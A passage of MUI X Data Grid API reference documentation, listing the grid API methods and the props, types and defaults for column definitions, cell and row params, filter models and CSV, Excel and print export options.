| getSortedRows | `() => GridRowModel[]` | - | Yes |  |
| getSortModel | `() => GridSortModel` | - | Yes |  |
| getVisibleColumns | `() => GridStateColDef[]` | - | Yes |  |
| hideColumnMenu | `() => void` | - | Yes |  |
| hideFilterPanel | `() => void` | - | Yes |  |
| hideHeaderFilterMenu | `() => void` | - | Yes |  |
| hidePreferences | `() => void` | - | Yes |  |
| hideSidebar | `() => void` | - | Yes |  |
| history | `{ /** * Undo the last action. * @returns {Promise<boolean>} True if the operation was successful, false otherwise. */ undo: () => Promise<boolean> /** * Redo the last undone action. * @returns {Promise<boolean>} True if the operation was successful, false otherwise. */ redo: () => Promise<boolean> /** * Clear the entire history. */ clear: () => void /** * @returns {boolean} True if there are undo steps available, false otherwise. */ canUndo: () => boolean /** * @returns {boolean} True if there are redo steps available, false otherwise. */ canRedo: () => boolean }` | - | Yes |  |
| ignoreDiacritics | `DataGridProcessedProps['ignoreDiacritics']` | - | Yes |  |
| isCellEditable | `(params: GridCellParams) => boolean` | - | Yes |  |
| isCellSelected | `(id: GridRowId, field: GridColDef['field']) => boolean` | - | Yes |  |
| isColumnPinned | `(field: string) => GridPinnedColumnPosition \| false` | - | Yes |  |
| isRowSelectable | `(id: GridRowId) => boolean` | - | Yes |  |
| isRowSelected | `(id: GridRowId) => boolean` | - | Yes |  |
| pinColumn | `(field: string, side: GridPinnedColumnPosition) => void` | - | Yes |  |
| publishEvent | `GridEventPublisher` | - | Yes |  |
| removeRowGroupingCriteria | `(groupingCriteriaField: string) => void` | - | Yes |  |
| resetRowHeights | `() => void` | - | Yes |  |
| restoreState | `(stateToRestore: InitialState) => void` | - | Yes |  |
| scroll | `(params: Partial<GridScrollParams>) => void` | - | Yes |  |
| scrollToIndexes | `(params: Partial<GridCellIndexCoordinates>) => boolean` | - | Yes |  |
| selectCellRange | `(start: GridCellCoordinates, end: GridCellCoordinates, keepOtherSelected?: boolean) => void` | - | Yes |  |
| selectRow | `(id: GridRowId, isSelected?: boolean, resetSelection?: boolean) => void` | - | Yes |  |
| selectRowRange | `(range: { startId: GridRowId; endId: GridRowId }, isSelected?: boolean, resetSelection?: boolean) => void` | - | Yes |  |
| selectRows | `(ids: GridRowId[], isSelected?: boolean, resetSelection?: boolean) => void` | - | Yes |  |
| setActiveChartId | `(chartId: string) => void` | - | Yes |  |
| setAggregationModel | `(model: GridAggregationModel) => void` | - | Yes |  |
| setCellFocus | `(id: GridRowId, field: string) => void` | - | Yes |  |
| setCellSelectionModel | `(newModel: GridCellSelectionModel) => void` | - | Yes |  |
| setChartsPanelOpen | `(open: boolean \| ((prev: boolean) => boolean)) => void` | - | Yes |  |
| setChartSynchronizationState | `(chartId: string, synced: boolean) => void` | - | Yes |  |
| setChartType | `(chartId: string, type: string) => void` | - | Yes |  |
| setColumnHeaderFilterFocus | `(field: string, event?: MuiBaseEvent) => void` | - | Yes |  |
| setColumnHeaderFocus | `(field: string, event?: MuiBaseEvent) => void` | - | Yes |  |
| setColumnIndex | `(field: string, targetIndexPosition: number) => void` | - | Yes |  |
| setColumnVisibility | `(field: string, isVisible: boolean) => void` | - | Yes |  |
| setColumnVisibilityModel | `(model: GridColumnVisibilityModel) => void` | - | Yes |  |
| setColumnWidth | `(field: string, width: number) => void` | - | Yes |  |
| setDensity | `(density: GridDensity) => void` | - | Yes |  |
| setEditCellValue | `(params: GridEditCellValueParams, event?: MuiBaseEvent) => Promise<boolean> \| void` | - | Yes |  |
| setExpandedDetailPanels | `(ids: Set<GridRowId>) => void` | - | Yes |  |
| setFilterLogicOperator | `(operator: GridLogicOperator) => void` | - | Yes |  |
| setFilterModel | `(model: GridFilterModel, reason?: GridControlledStateReasonLookup['filter']) => void` | - | Yes |  |
| setLoading | `(loading: boolean) => void` | - | Yes |  |
| setPage | `(page: number) => void` | - | Yes |  |
| setPageSize | `(pageSize: number) => void` | - | Yes |  |
| setPaginationMeta | `(paginationMeta: GridPaginationMeta) => void` | - | Yes |  |
| setPaginationModel | `(model: GridPaginationModel) => void` | - | Yes |  |
| setPinnedColumns | `(pinnedColumns: GridPinnedColumnFields) => void` | - | Yes |  |
| setPivotActive | `(active: boolean \| ((prev: boolean) => boolean)) => void` | - | Yes |  |
| setPivotModel | `(model: GridPivotModel \| ((prev: GridPivotModel) => GridPivotModel)) => void` | - | Yes |  |
| setPivotPanelOpen | `(open: boolean \| ((prev: boolean) => boolean)) => void` | - | Yes |  |
| setQuickFilterValues | `(values: any[]) => void` | - | Yes |  |
| setRowChildrenExpansion | `(id: GridRowId, isExpanded: boolean) => void` | - | Yes |  |
| setRowCount | `(rowCount: number) => void` | - | Yes |  |
| setRowGroupingCriteriaIndex | `(groupingCriteriaField: string, groupingIndex: number) => void` | - | Yes |  |
| setRowGroupingModel | `(model: GridRowGroupingModel) => void` | - | Yes |  |
| setRowIndex | `(rowId: GridRowId, targetIndex: number) => void \| Promise<void>` | - | Yes |  |
| setRowPosition | `(sourceRowId: GridRowId, targetRowId: GridRowId, position: RowReorderDropPosition) => void \| Promise<void>` | - | Yes |  |
| setRows | `(rows: GridRowModel[]) => void` | - | Yes |  |
| setRowSelectionModel | `(rowSelectionModel: GridRowSelectionModel, reason?: GridControlledStateReasonLookup['rowSelection']) => void` | - | Yes |  |
| setSortModel | `(model: GridSortModel) => void` | - | Yes |  |
| showColumnMenu | `(field: string) => void` | - | Yes |  |
| showFilterPanel | `(targetColumnField?: string, panelId?: string, labelId?: string) => void` | - | Yes |  |
| showHeaderFilterMenu | `(field: GridColDef['field']) => void` | - | Yes |  |
| showPreferences | `(newValue: GridPreferencePanelsValue, panelId?: string, labelId?: string) => void` | - | Yes |  |
| showSidebar | `(newValue: GridSidebarValue, sidebarId?: string, labelId?: string) => void` | - | Yes |  |
| sortColumn | `(field: GridColDef['field'], direction?: GridSortDirection, allowMultipleSorting?: boolean) => void` | - | Yes |  |
| startCellEditMode | `(params: GridStartCellEditModeParams) => void` | - | Yes |  |
| startHeaderFilterEditMode | `(field: GridColDef['field']) => void` | - | Yes |  |
| startRowEditMode | `(params: GridStartRowEditModeParams) => void` | - | Yes |  |
| state | `State` | - | Yes |  |
| stopCellEditMode | `(params: GridStopCellEditModeParams) => void` | - | Yes |  |
| stopHeaderFilterEditMode | `() => void` | - | Yes |  |
| stopRowEditMode | `(params: GridStopRowEditModeParams) => void` | - | Yes |  |
| subscribeEvent | `<E extends GridEvents>(event: E, handler: GridEventListener<E>, options?: EventListenerOptions) => () => void` | - | Yes |  |
| toggleColumnMenu | `(field: string) => void` | - | Yes |  |
| toggleDetailPanel | `(id: GridRowId) => void` | - | Yes |  |
| unpinColumn | `(field: string) => void` | - | Yes |  |
| unstable_replaceRows | `(firstRowToReplace: number, newRows: GridRowModel[]) => void` | - | Yes |  |
| unstable_setColumnVirtualization | `(enabled: boolean) => void` | - | Yes |  |
| unstable_setPinnedRows | `(pinnedRows?: GridPinnedRowsProp) => void` | - | Yes |  |
| unstable_setVirtualization | `(enabled: boolean) => void` | - | Yes |  |
| updateChartDimensionsData | `(chartId: string, dimensions: GridChartsIntegrationItem[] \| ((prev: GridChartsIntegrationItem[]) => GridChartsIntegrationItem[])) => void` | - | Yes |  |
| updateChartValuesData | `(chartId: string, values: GridChartsIntegrationItem[] \| ((prev: GridChartsIntegrationItem[]) => GridChartsIntegrationItem[])) => void` | - | Yes |  |
| updateColumns | `(cols: GridColDef[]) => void` | - | Yes |  |
| updateRows | `(updates: GridRowModelUpdate[]) => void` | - | Yes |  |
| upsertFilterItem | `(item: GridFilterItem) => void` | - | Yes |  |
| upsertFilterItems | `(items: GridFilterItem[]) => void` | - | Yes |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-cell-params.md

# GridCellParams API

## Import

```jsx
import { GridCellParams } from '@mui/x-data-grid-premium'
// or
import { GridCellParams } from '@mui/x-data-grid-pro'
// or
import { GridCellParams } from '@mui/x-data-grid'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| api | `GridApiCommunity` | - | Yes |  |
| cellMode | `GridCellMode` | - | Yes |  |
| colDef | `GridStateColDef` | - | Yes |  |
| field | `string` | - | Yes |  |
| hasFocus | `boolean` | - | Yes |  |
| id | `GridRowId` | - | Yes |  |
| row | `GridRowModel<R>` | - | Yes |  |
| rowNode | `N` | - | Yes |  |
| tabIndex | `0 \| -1` | - | Yes |  |
| formattedValue | `F \| undefined` | - | No |  |
| isEditable | `boolean` | - | No |  |
| value | `V \| undefined` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-charts-panel.md

# GridChartsPanel API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [DataGrid](/x/react-data-grid/#community-version-free-forever)
- [DataGridPro](/x/react-data-grid/#pro-version)
- [DataGridPremium](/x/react-data-grid/#premium-version)

## Import

```jsx
import { GridChartsPanel } from '@mui/x-data-grid-premium/components';
// or
import { GridChartsPanel } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| getColumnName | `function(field: string) => string \| undefined` | - | No |  |
| schema | `object` | `{}` | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid-premium/src/components/chartsPanel/GridChartsPanel.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid-premium/src/components/chartsPanel/GridChartsPanel.tsx)

---

# Source: https://mui.com/x/api/data-grid/grid-charts-renderer-proxy.md

# GridChartsRendererProxy API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [DataGrid](/x/react-data-grid/#community-version-free-forever)
- [DataGridPro](/x/react-data-grid/#pro-version)
- [DataGridPremium](/x/react-data-grid/#premium-version)

## Import

```jsx
import { GridChartsRendererProxy } from '@mui/x-data-grid-premium/context';
// or
import { GridChartsRendererProxy } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| id | `string` | - | Yes |  |
| renderer | `func` | - | Yes |  |
| label | `string` | - | No |  |
| onRender | `func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid-premium/src/context/GridChartsRendererProxy.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid-premium/src/context/GridChartsRendererProxy.tsx)

---

# Source: https://mui.com/x/api/data-grid/grid-col-def.md

# GridColDef API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Column definition](/x/react-data-grid/column-definition/)

## Import

```jsx
import { GridColDef } from '@mui/x-data-grid-premium'
// or
import { GridColDef } from '@mui/x-data-grid-pro'
// or
import { GridColDef } from '@mui/x-data-grid'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| field | `string` | - | Yes |  |
| aggregable | `boolean` | `true` | No |  |
| align | `GridAlignment` | - | No |  |
| availableAggregationFunctions | `string[]` | - | No |  |
| cellClassName | `GridCellClassNamePropType<R, V>` | - | No |  |
| chartable | `boolean` | `true` | No |  |
| colSpan | `number \| GridColSpanFn<R, V, F>` | `1` | No |  |
| description | `string` | - | No |  |
| disableColumnMenu | `boolean` | `false` | No |  |
| disableExport | `boolean` | `false` | No |  |
| disableReorder | `boolean` | `false` | No |  |
| display | `'text' \| 'flex'` | - | No |  |
| editable | `boolean` | `false` | No |  |
| examples | `V[]` | - | No |  |
| filterable | `boolean` | `true` | No |  |
| filterOperators | `readonly GridFilterOperator<R, V, F, any>[]` | - | No |  |
| flex | `number` | - | No |  |
| getApplyQuickFilterFn | `GetApplyQuickFilterFn<R, V>` | - | No |  |
| getSortComparator | `(sortDirection: GridSortDirection) => GridComparatorFn<V> \| undefined` | - | No |  |
| groupable | `boolean` | `true` | No |  |
| groupingValueGetter | `GridGroupingValueGetter<R>` | - | No |  |
| groupingValueSetter | `GridGroupingValueSetter<R>` | - | No |  |
| headerAlign | `GridAlignment` | - | No |  |
| headerClassName | `GridColumnHeaderClassNamePropType` | - | No |  |
| headerName | `string` | - | No |  |
| hideable | `boolean` | `true` | No |  |
| hideSortIcons | `boolean` | `false` | No |  |
| maxWidth | `number` | `Infinity` | No |  |
| minWidth | `number` | `50` | No |  |
| pastedValueParser | `GridPastedValueParser<R, V, F>` | - | No |  |
| pinnable | `boolean` | `true` | No |  |
| pivotable | `boolean` | `true` | No |  |
| preProcessEditCellProps | `(params: GridPreProcessEditCellProps) => GridEditCellProps \| Promise<GridEditCellProps>` | - | No |  |
| renderCell | `(params: GridRenderCellParams<R, V, F>) => React.ReactNode` | - | No |  |
| renderEditCell | `(params: GridRenderEditCellParams<R, V, F>) => React.ReactNode` | - | No |  |
| renderHeader | `(params: GridColumnHeaderParams<R, V, F>) => React.ReactNode` | - | No |  |
| renderHeaderFilter | `(params: GridRenderHeaderFilterProps) => React.ReactNode` | - | No |  |
| resizable | `boolean` | `true` | No |  |
| rowSpanValueGetter | `GridValueGetter<R, V, F>` | - | No |  |
| sortable | `boolean` | `true` | No |  |
| sortComparator | `GridComparatorFn<V>` | - | No |  |
| sortingOrder | `readonly GridSortDirection[]` | - | No |  |
| type | `GridColType` | `'singleSelect'` | No |  |
| valueFormatter | `GridValueFormatter<R, V, F>` | - | No |  |
| valueGetter | `GridValueGetter<R, V, F>` | - | No |  |
| valueParser | `GridValueParser<R, V, F>` | - | No |  |
| valueSetter | `GridValueSetter<R, V, F>` | - | No |  |
| width | `number` | `100` | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-csv-export-options.md

# GridCsvExportOptions API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [CSV export](/x/react-data-grid/export/#csv-export)

## Import

```jsx
import { GridCsvExportOptions } from '@mui/x-data-grid-premium'
// or
import { GridCsvExportOptions } from '@mui/x-data-grid-pro'
// or
import { GridCsvExportOptions } from '@mui/x-data-grid'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| allColumns | `boolean` | `false` | No |  |
| delimiter | `string` | `','` | No |  |
| escapeFormulas | `boolean` | `true` | No |  |
| fields | `string[]` | - | No |  |
| fileName | `string` | `document.title` | No |  |
| getRowsToExport | `(params: GridCsvGetRowsToExportParams) => GridRowId[]` | - | No |  |
| includeColumnGroupsHeaders | `boolean` | `true` | No |  |
| includeHeaders | `boolean` | `true` | No |  |
| utf8WithBom | `boolean` | `false` | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-excel-export-options.md

# GridExcelExportOptions API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Excel export](/x/react-data-grid/export/#excel-export)

## Import

```jsx
import { GridExcelExportOptions } from '@mui/x-data-grid-premium'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| allColumns | `boolean` | `false` | No |  |
| columnsStyles | `ColumnsStylesInterface` | - | No |  |
| escapeFormulas | `boolean` | `true` | No |  |
| exceljsPostProcess | `(processInput: GridExceljsProcessInput) => Promise<void>` | - | No |  |
| exceljsPreProcess | `(processInput: GridExceljsProcessInput) => Promise<void>` | - | No |  |
| fields | `string[]` | - | No |  |
| fileName | `string` | `document.title` | No |  |
| getRowsToExport | `(params: GridGetRowsToExportParams<Api>) => GridRowId[]` | - | No |  |
| includeColumnGroupsHeaders | `boolean` | `true` | No |  |
| includeHeaders | `boolean` | `true` | No |  |
| valueOptionsSheetName | `string` | - | No |  |
| worker | `() => Worker` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-export-state-params.md

# GridExportStateParams API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Restore state with `apiRef`](/x/react-data-grid/state/#restore-the-state-with-apiref)

## Import

```jsx
import { GridExportStateParams } from '@mui/x-data-grid-premium'
// or
import { GridExportStateParams } from '@mui/x-data-grid-pro'
// or
import { GridExportStateParams } from '@mui/x-data-grid'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| exportOnlyDirtyModels | `boolean` | `false` | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-filter-form.md

# GridFilterForm API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [DataGrid](/x/react-data-grid/#community-version-free-forever)
- [DataGridPro](/x/react-data-grid/#pro-version)
- [DataGridPremium](/x/react-data-grid/#premium-version)

## Import

```jsx
import { GridFilterForm } from '@mui/x-data-grid/components';
// or
import { GridFilterForm } from '@mui/x-data-grid';
// or
import { GridFilterForm } from '@mui/x-data-grid-pro';
// or
import { GridFilterForm } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| applyFilterChanges | `function(item: GridFilterItem) => void` | - | Yes |  |
| applyMultiFilterOperatorChanges | `function(operator: GridLogicOperator) => void` | - | Yes |  |
| deleteFilter | `function(item: GridFilterItem) => void` | - | Yes |  |
| hasMultipleFilters | `bool` | - | Yes |  |
| item | `{ field: string, id?: number \| string, operator: string, value?: any }` | - | Yes |  |
| columnInputProps | `any` | `{}` | No |  |
| columnsSort | `'asc' \| 'desc'` | - | No |  |
| deleteIconProps | `any` | `{}` | No |  |
| disableMultiFilterOperator | `bool` | - | No |  |
| filterColumns | `function(args: FilterColumnsArgs) => void` | - | No |  |
| focusElementRef | `func \| object` | - | No |  |
| logicOperatorInputProps | `any` | `{}` | No |  |
| logicOperators | `Array<'and' \| 'or'>` | `[GridLogicOperator.And, GridLogicOperator.Or]` | No |  |
| operatorInputProps | `any` | `{}` | No |  |
| readOnly | `bool` | `false` | No |  |
| showMultiFilterOperators | `bool` | - | No |  |
| valueInputProps | `any` | `{}` | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid/src/components/panel/filterPanel/GridFilterForm.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid/src/components/panel/filterPanel/GridFilterForm.tsx)

---

# Source: https://mui.com/x/api/data-grid/grid-filter-item.md

# GridFilterItem API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Custom filter operator](/x/react-data-grid/filtering/customization/#create-a-custom-operator)

## Import

```jsx
import { GridFilterItem } from '@mui/x-data-grid-premium'
// or
import { GridFilterItem } from '@mui/x-data-grid-pro'
// or
import { GridFilterItem } from '@mui/x-data-grid'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| field | `GridBaseColDef['field']` | - | Yes |  |
| operator | `'contains' \| 'doesNotContain' \| 'equals' \| 'doesNotEqual' \| 'startsWith' \| 'endsWith' \| '=' \| '!=' \| '>' \| '>=' \| '<' \| '<=' \| 'is' \| 'not' \| 'after' \| 'onOrAfter' \| 'before' \| 'onOrBefore' \| 'isEmpty' \| 'isNotEmpty' \| 'isAnyOf' \| (string & {})` | - | Yes |  |
| id | `number \| string` | - | No |  |
| value | `any` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-filter-model.md

# GridFilterModel API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Pass filters to the grid](/x/react-data-grid/filtering/#pass-filters-to-the-data-grid)

## Import

```jsx
import { GridFilterModel } from '@mui/x-data-grid-premium'
// or
import { GridFilterModel } from '@mui/x-data-grid-pro'
// or
import { GridFilterModel } from '@mui/x-data-grid'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| items | `GridFilterItem[]` | `[]` | Yes |  |
| logicOperator | `GridLogicOperator` | `GridLogicOperator.And` | No |  |
| quickFilterExcludeHiddenColumns | `boolean` | `true` | No |  |
| quickFilterLogicOperator | `GridLogicOperator` | `GridLogicOperator.And` | No |  |
| quickFilterValues | `any[]` | `[]` | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-filter-operator.md

# GridFilterOperator API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Custom filter operator](/x/react-data-grid/filtering/customization/#create-a-custom-operator)

## Import

```jsx
import { GridFilterOperator } from '@mui/x-data-grid-premium'
// or
import { GridFilterOperator } from '@mui/x-data-grid-pro'
// or
import { GridFilterOperator } from '@mui/x-data-grid'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| getApplyFilterFn | `GetApplyFilterFn<R, V, F>` | - | Yes |  |
| value | `GridFilterItem['operator']` | - | Yes |  |
| getValueAsString | `(value: GridFilterItem['value']) => string` | - | No |  |
| headerLabel | `string` | - | No |  |
| InputComponent | `React.JSXElementConstructor<I>` | - | No |  |
| InputComponentProps | `Partial<I>` | - | No |  |
| label | `string` | - | No |  |
| requiresFilterValue | `boolean` | `true` | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-filter-panel.md

# GridFilterPanel API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [DataGrid](/x/react-data-grid/#community-version-free-forever)
- [DataGridPro](/x/react-data-grid/#pro-version)
- [DataGridPremium](/x/react-data-grid/#premium-version)

## Import

```jsx
import { GridFilterPanel } from '@mui/x-data-grid/components';
// or
import { GridFilterPanel } from '@mui/x-data-grid';
// or
import { GridFilterPanel } from '@mui/x-data-grid-pro';
// or
import { GridFilterPanel } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| columnsSort | `'asc' \| 'desc'` | - | No |  |
| disableAddFilterButton | `bool` | `false` | No |  |
| disableRemoveAllButton | `bool` | `false` | No |  |
| filterFormProps | `{ columnInputProps?: any, columnsSort?: 'asc' \| 'desc', deleteIconProps?: any, filterColumns?: func, logicOperatorInputProps?: any, operatorInputProps?: any, valueInputProps?: any }` | - | No |  |
| getColumnForNewFilter | `function(args: GetColumnForNewFilterArgs) => void` | - | No |  |
| logicOperators | `Array<'and' \| 'or'>` | `[GridLogicOperator.And, GridLogicOperator.Or]` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid/src/components/panel/filterPanel/GridFilterPanel.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid/src/components/panel/filterPanel/GridFilterPanel.tsx)

---

# Source: https://mui.com/x/api/data-grid/grid-list-view-col-def.md

# GridListViewColDef API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [List view](/x/react-data-grid/list-view/)

## Import

```jsx
import { GridListViewColDef } from '@mui/x-data-grid-premium'
// or
import { GridListViewColDef } from '@mui/x-data-grid-pro'
// or
import { GridListViewColDef } from '@mui/x-data-grid'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| field | `string` | - | Yes |  |
| align | `GridAlignment` | - | No |  |
| cellClassName | `GridCellClassNamePropType<R, V>` | - | No |  |
| display | `'text' \| 'flex'` | - | No |  |
| renderCell | `(params: GridRenderCellParams<R, V, F>) => React.ReactNode` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-print-export-options.md

# GridPrintExportOptions API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Print export](/x/react-data-grid/export/#print-export)

## Import

```jsx
import { GridPrintExportOptions } from '@mui/x-data-grid-premium'
// or
import { GridPrintExportOptions } from '@mui/x-data-grid-pro'
// or
import { GridPrintExportOptions } from '@mui/x-data-grid'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| allColumns | `boolean` | `false` | No |  |
| bodyClassName | `string` | - | No |  |
| copyStyles | `boolean` | `true` | No |  |
| fields | `string[]` | - | No |  |
| fileName | `string` | `The title of the page.` | No |  |
| getRowsToExport | `(params: GridPrintGetRowsToExportParams) => GridRowId[]` | - | No |  |
| hideFooter | `boolean` | `false` | No |  |
| hideToolbar | `boolean` | `false` | No |  |
| includeCheckboxes | `boolean` | `false` | No |  |
| pageStyle | `string \| (() => string)` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-render-context.md

# GridRenderContext API

## Import

```jsx
import { GridRenderContext } from '@mui/x-data-grid-premium'
// or
import { GridRenderContext } from '@mui/x-data-grid-pro'
// or
import { GridRenderContext } from '@mui/x-data-grid'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| firstColumnIndex | `number` | - | Yes |  |
| firstRowIndex | `number` | - | Yes |  |
| lastColumnIndex | `number` | - | Yes |  |
| lastRowIndex | `number` | - | Yes |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-row-class-name-params.md

# GridRowClassNameParams API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Styling rows](/x/react-data-grid/style/#styling-rows)

## Import

```jsx
import { GridRowClassNameParams } from '@mui/x-data-grid-premium'
// or
import { GridRowClassNameParams } from '@mui/x-data-grid-pro'
// or
import { GridRowClassNameParams } from '@mui/x-data-grid'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| columns | `GridColDef[]` | - | Yes |  |
| id | `GridRowId` | - | Yes |  |
| indexRelativeToCurrentPage | `number` | - | Yes |  |
| isFirstVisible | `boolean` | - | Yes |  |
| isLastVisible | `boolean` | - | Yes |  |
| row | `R` | - | Yes |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-row-order-change-params.md

# GridRowOrderChangeParams API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Flat row reordering](/x/react-data-grid/row-ordering/#implementing-row-reordering)

## Import

```jsx
import { GridRowOrderChangeParams } from '@mui/x-data-grid-premium'
// or
import { GridRowOrderChangeParams } from '@mui/x-data-grid-pro'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| newParent | `GridRowId \| null` | - | Yes |  |
| oldIndex | `number` | - | Yes |  |
| oldParent | `GridRowId \| null` | - | Yes |  |
| row | `GridRowModel` | - | Yes |  |
| targetIndex | `number` | - | Yes |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-row-params.md

# GridRowParams API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Master-detail row panels](/x/react-data-grid/master-detail/)

## Import

```jsx
import { GridRowParams } from '@mui/x-data-grid-premium'
// or
import { GridRowParams } from '@mui/x-data-grid-pro'
// or
import { GridRowParams } from '@mui/x-data-grid'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| columns | `GridColDef[]` | - | Yes |  |
| id | `GridRowId` | - | Yes |  |
| row | `R` | - | Yes |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-row-spacing-params.md

# GridRowSpacingParams API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Row spacing](/x/react-data-grid/row-height/#row-spacing)

## Import

```jsx
import { GridRowSpacingParams } from '@mui/x-data-grid-premium'
// or
import { GridRowSpacingParams } from '@mui/x-data-grid-pro'
// or
import { GridRowSpacingParams } from '@mui/x-data-grid'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| id | `GridRowId` | - | Yes |  |
| indexRelativeToCurrentPage | `number` | - | Yes |  |
| isFirstVisible | `boolean` | - | Yes |  |
| isLastVisible | `boolean` | - | Yes |  |
| model | `R` | - | Yes |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-single-select-col-def.md

# GridSingleSelectColDef API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Special column properties](/x/react-data-grid/column-definition/#special-properties)

## Import

```jsx
import { GridSingleSelectColDef } from '@mui/x-data-grid-premium'
// or
import { GridSingleSelectColDef } from '@mui/x-data-grid-pro'
// or
import { GridSingleSelectColDef } from '@mui/x-data-grid'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| field | `string` | - | Yes |  |
| getOptionLabel | `(value: ValueOptions) => string` | `{defaultGetOptionLabel}` | Yes |  |
| getOptionValue | `(value: ValueOptions) => any` | `{defaultGetOptionValue}` | Yes |  |
| type | `'singleSelect'` | `'singleSelect'` | Yes |  |
| aggregable | `boolean` | `true` | No |  |
| align | `GridAlignment` | - | No |  |
| availableAggregationFunctions | `string[]` | - | No |  |
| cellClassName | `GridCellClassNamePropType<R, V>` | - | No |  |
| chartable | `boolean` | `true` | No |  |
| colSpan | `number \| GridColSpanFn<R, V, F>` | `1` | No |  |
| description | `string` | - | No |  |
| disableColumnMenu | `boolean` | `false` | No |  |
| disableExport | `boolean` | `false` | No |  |
| disableReorder | `boolean` | `false` | No |  |
| display | `'text' \| 'flex'` | - | No |  |
| editable | `boolean` | `false` | No |  |
| examples | `V[]` | - | No |  |
| filterable | `boolean` | `true` | No |  |
| filterOperators | `readonly GridFilterOperator<R, V, F, any>[]` | - | No |  |
| flex | `number` | - | No |  |
| getApplyQuickFilterFn | `GetApplyQuickFilterFn<R, V>` | - | No |  |
| getSortComparator | `(sortDirection: GridSortDirection) => GridComparatorFn<V> \| undefined` | - | No |  |
| groupable | `boolean` | `true` | No |  |
| groupingValueGetter | `GridGroupingValueGetter<R>` | - | No |  |
